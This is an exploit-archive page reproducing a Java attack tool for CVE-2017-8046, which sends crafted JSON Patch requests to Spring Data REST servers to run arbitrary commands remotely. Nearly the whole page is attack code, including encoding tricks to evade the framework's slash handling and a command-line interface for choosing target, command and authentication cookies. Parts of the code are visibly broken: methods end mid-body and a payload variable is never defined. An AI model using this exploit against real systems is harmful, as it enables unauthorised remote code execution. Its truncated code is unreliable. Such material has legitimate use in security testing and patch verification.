Spring data rest < 2.6.9 (ingalls sr9) / 3.0.1 (kay sr1) patch request remote code execution Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-03-15 |
Type : webapps |
Platform : java
This exploit / vulnerability Spring data rest < 2.6.9 (ingalls sr9) / 3.0.1 (kay sr1) patch request remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
// Exploit Title: RCE in PATCH requests in Spring Data REST
// Date: 2018-03-10
// Exploit Author: Antonio Francesco Sardella
// Vendor Homepage: https://pivotal.io/
// Software Link: https://projects.spring.io/spring-data-rest/
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
// CVE: CVE-2017-8046
// Category: Webapps
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com
/**
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
* This software is written to have as less external dependencies as possible.
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
* I am NOT responsible for any damages caused or any crimes committed by using this tool.
* ..................
* . CVE-ID ........: CVE-2017-8046
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
* .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
* .................. Java code.
* ..................
*
* @author Antonio Francesco Sardella
*/
public class SpringBreakCve20178046 {
/**
* Version string.
*/
private static final String VERSION = "v1.0 (2018-03-10)";
/**
* This is a way to bypass the split and 'replace'
* logic performed by the framework on slashes.
*/
private static String SLASH = "T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))";
/**
* Used to encode chars.
*/
private static String CHAR_ENCODING = "T(java.lang.Character).toChars(%d)[0]";
/**
* Error cause string that can be used to "clean the response."
*/
private static String ERROR_CAUSE = "{\"cause";
/**
* The target URL.
*/
private URI url;
/**
* The command that will be executed on the remote machine.
*/
private String command;
/**
* Cookies that will be passed.
*/
private String cookies;
/**
* Flag used to remove error messages in output due to
* the usage of the exploit. It could hide error messages
* if the request fails for other reasons.
*/
private boolean cleanResponse;
/**
* Performs the exploit.
*
* @throws IOException
* If something bad occurs during HTTP GET.
*/
public void exploit() throws IOException {
checkInput();
printInput();
String payload = preparePayload();
String response = httpPatch(payload);
printOutput(response);
}
/**
* Checks the input.
*/
private void checkInput() {
if (this.url == null) {
throw new IllegalArgumentException("URL must be passed.");
}
if (isEmpty(this.command)) {
throw new IllegalArgumentException("Command must be passed.");
}
}
/**
* Prints input if verbose flag is true.
*/
private void printInput() {
if (isVerbose()) {
System.out.println("[*] Target URL ........: " + this.url);
System.out.println("[*] Command ...........: " + this.command);
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
}
}
/**
* Prepares the payload.
*
* @return The malicious payload that will be injected.
*/
private String preparePayload() {
System.out.println("[*] Preparing payload.");
if (isVerbose()) {
System.out.println("[*] Payload ...........: " + payload);
}
return payload;
}
/**
* Encodes the inserted command.
* PROS: No problems in interpreting things.
* CONS: Payload too long.
*
* @return The encoded command.
*/
private String encodingCommand() {
StringBuffer encodedCommand = new StringBuffer("T(java.lang.String).valueOf(new char[]{");
int commandLength = this.command.length();
for (int i = 0; i < commandLength; i++) {
encodedCommand.append(String.format(CHAR_ENCODING, (int) this.command.charAt(i)));
if (i + 1 < commandLength) {
encodedCommand.append(",");
}
}
/**
* HTTP PATCH operation on the target passing the malicious payload.
*
* @param payload
* The malicious payload.
* @return The response as a string.
* @throws IOException
* If something bad occurs during HTTP GET.
*/
private String httpPatch(String payload) throws IOException {
System.out.println("[*] Sending payload.");
// Preparing PATCH operation.
HttpClient client = HttpClientBuilder.create().build();
HttpPatch patch = new HttpPatch(this.url);
patch.setHeader("User-Agent", "Mozilla/5.0");
patch.setHeader("Accept-Language", "en-US,en;q=0.5");
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
if (!isEmpty(this.cookies)) {
patch.setHeader("Cookie", this.cookies);
}
patch.setEntity(new StringEntity(payload));
// Response string.
StringBuffer response = new StringBuffer();
/**
* Checks if an input string is null/empty or not.
*
* @param input
* The input string to check.
* @return True if the string is null or empty, false otherwise.
*/
private boolean isEmpty(String input) {
boolean isEmpty;
public void setVerbose(boolean verbose) {
this.verbose = verbose;
}
public void setUrl(String url) throws URISyntaxException {
if (isEmpty(url)) {
throw new IllegalArgumentException("URL must be not null and not empty.");
}
this.url = new URI(url.trim());
}
public void setCommand(String command) {
if (isEmpty(command)) {
throw new IllegalArgumentException("Command must be not null and not empty.");
}
this.command = command.trim();
}
public void setCookies(String cookies) {
if (cookies != null) {
cookies = cookies.trim();
}
this.cookies = cookies;
}
public boolean isCleanResponse() {
return cleanResponse;
}
public void setCleanResponse(boolean cleanResponse) {
this.cleanResponse = cleanResponse;
}
/**
* Shows the program help.
*/
public static final void help() {
System.out.println("Usage:");
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
System.out.println("Description:");
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
System.out.println("Options:");
System.out.println(" -h, --help");
System.out.println(" Prints this help and exits.");
System.out.println(" -u, --url [target_URL]");
System.out.println(" The target URL where the exploit will be performed.");
System.out.println(" You have to choose an existent resource.");
System.out.println(" -cmd, --command [command_to_execute]");
System.out.println(" The command that will be executed on the remote machine.");
System.out.println(" --cookies [cookies]");
System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");
System.out.println(" --clean");
System.out.println(" Optional. Removes error messages in output due to the usage of the");
System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");
System.out.println(" -v, --verbose");
System.out.println(" Optional. Increase verbosity.");
}
/**
* Main method.
*
* @param args
* Input arguments
*/
public static void main(String[] args) {
try {
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
SpringBreakCve20178046 o = new SpringBreakCve20178046();
if (args.length > 0) {
for (int i = 0; i < args.length; i++) {
String p = args[i];
if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
SpringBreakCve20178046.help();
return;
} else if ("-u".equals(p) || "--url".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("URL must be passed.");
}
o.setUrl(args[++i]);
} else if ("-cmd".equals(p) || "--command".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Command must be passed.");
}
o.setCommand(args[++i]);
} else if ("--cookies".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Cookies must be passed, if specified.");
}
o.setCookies(args[++i]);
} else if ("--clean".equals(p)) {
o.setCleanResponse(true);
} else if ("-v".equals(p) || "--verbose".equals(p)) {
o.setVerbose(true);
}
}
// Performing the exploit.
o.exploit();
} else { // Wrong number of arguments.
SpringBreakCve20178046.help();
return;
}